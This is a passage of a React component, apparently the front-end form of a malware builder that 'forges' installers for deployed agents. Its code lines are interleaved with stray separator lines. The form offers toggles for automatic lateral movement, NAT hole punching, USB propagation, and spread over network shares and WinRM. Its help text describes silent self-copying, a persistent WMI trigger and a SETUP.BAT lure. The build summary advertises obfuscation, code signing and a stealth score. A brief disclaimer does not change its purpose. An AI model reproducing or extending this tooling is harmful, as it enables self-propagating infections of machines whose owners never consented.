||
</label>
|
||
<FieldHint field="mesh_p2p" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||
onChange={(e) => {
|
||
const checked = e.target.checked;
|
||
if (checked && !window.confirm(
|
||
'Enable Auto-Spread?\n\n' +
|
||
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
|
||
'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
|
||
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
|
||
)) return;
|
||
updateField('auto_spread', checked);
|
||
}} />
|
||
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||
</label>
|
||
{form.auto_spread && (
|
||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||
⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.
|
||
</p>
|
||
)}
|
||
<FieldHint field="auto_spread" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
|
||
onChange={(e) => updateField('hole_punch', e.target.checked)} />
|
||
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
|
||
</label>
|
||
<FieldHint field="hole_punch" />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
|
||
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
|
||
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
|
||
</label>
|
||
<FieldHint field="remote_aggressive" />
|
||
</div>
|
||
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.usb_spread}
|
||
onChange={(e) => updateField('usb_spread', e.target.checked)} />
|
||
<span>USB Propagation — copy to every new drive inserted <HelpTip field="usb_spread" /></span>
|
||
</label>
|
||
{form.usb_spread && (
|
||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
|
||
</div>
|
||
)}
|
||
<FieldHint field="usb_spread" />
|
||
</div>
|
||
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={!!form.share_spread}
|
||
onChange={(e) => updateField('share_spread', e.target.checked)} />
|
||
<span>Share Drop — spread via mounted network drives & WinRM <HelpTip field="share_spread" /></span>
|
||
</label>
|
||
<FieldHint field="share_spread" />
|
||
</div>
|
||
</div>
|
||
</>
|
||
)}
|
||
|
||
<div className="preflight-panel card">
|
||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||
<ul className="preflight-list">
|
||
{preflightChecks.map((c) => (
|
||
<li key={c.id} className={`preflight-item preflight-${c.level}`}>
|
||
<span className="preflight-icon">{c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'}</span>
|
||
{c.message}
|
||
</li>
|
||
))}
|
||
</ul>
|
||
</div>
|
||
|
||
{error && (
|
||
<div className="form-error">
|
||
<span>⚠️</span> {error}
|
||
</div>
|
||
)}
|
||
|
||
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
|
||
|
||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||
</button>
|
||
{building && !batchJob && (
|
||
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
|
||
✕ Kill Build
|
||
</button>
|
||
)}
|
||
</div>
|
||
{!canForge && errorCount > 0 && (
|
||
<p className="forge-forge-blocked">
|
||
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
|
||
</p>
|
||
)}
|
||
</form>
|
||
</div>
|
||
|
||
{lastBuild?.success && (
|
||
<div className="forge-last-build-strip">
|
||
<div className="forge-last-build-info">
|
||
<span className="forge-last-build-check">✓</span>
|
||
<div>
|
||
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
|
||
{lastBuild.file_size != null && (
|
||
<span className="forge-last-build-size">
|
||
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
|
||
</span>
|
||
)}
|
||
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
|
||
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
|
||
{lastBuild.sigil_scramble && <span className="forge-last-build-tag">SIGIL</span>}
|
||
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
|
||
{lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && (
|
||
<span className="forge-last-build-tag" title="Stealth index">
|
||
{lastBuild.stealth_score}
|
||
</span>
|
||
)}
|
||
</div>
|
||
</div>
|
||
<div className="forge-last-build-actions">
|
||
{lastBuild.download_url && lastBuild.file_name && (
|
||
<DownloadButton
|
||
apiPath={lastBuild.download_url}
|
||
filename={lastBuild.file_name}
|
||
className="btn btn-primary btn-sm"
|
||
>
|
||
↓ Download
|
||
</DownloadButton>
|
||
)}
|
||
{lastBuild.build_id &&
|
||
lastBuild.extra_files?.map((f) =>
|
||
f.file_name ? (
|
||
<DownloadButton
|
||
key={f.file_name}
|
||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||
filename={f.file_name}
|
||
className="btn btn-outline btn-sm"
|
||
>
|
||
↓ {f.file_name}
|
||
</DownloadButton>
|
||
) : null
|
||
)}
|
||
<button
|
||
type="button"
|
||
className="btn btn-outline btn-sm"
|
||
onClick={handleForgeNextWorker}
|
||
>
|
||
Forge next worker
|
||
</button>
|
||
{showBlueprintOffer && (
|
||
<button
|
||
type="button"
|
||
className="btn btn-outline btn-sm"
|
||
onClick={handleSaveFleetBlueprint}
|
||
>
|
||
Save as fleet blueprint
|
||
</button>
|
||
)}
|
||
<button
|
||
type="button"
|
||
className="btn btn-outline btn-sm"
|
||
onClick={() => navigate('/builds')}
|
||
>
|
||
View in Build Manager →
|
||
</button>
|
||
</div>
|
||
</div>
|
||
)}
|
||
</div>
|
||
{dispenseReveal?.success && (
|
||
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
|
||
)}
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|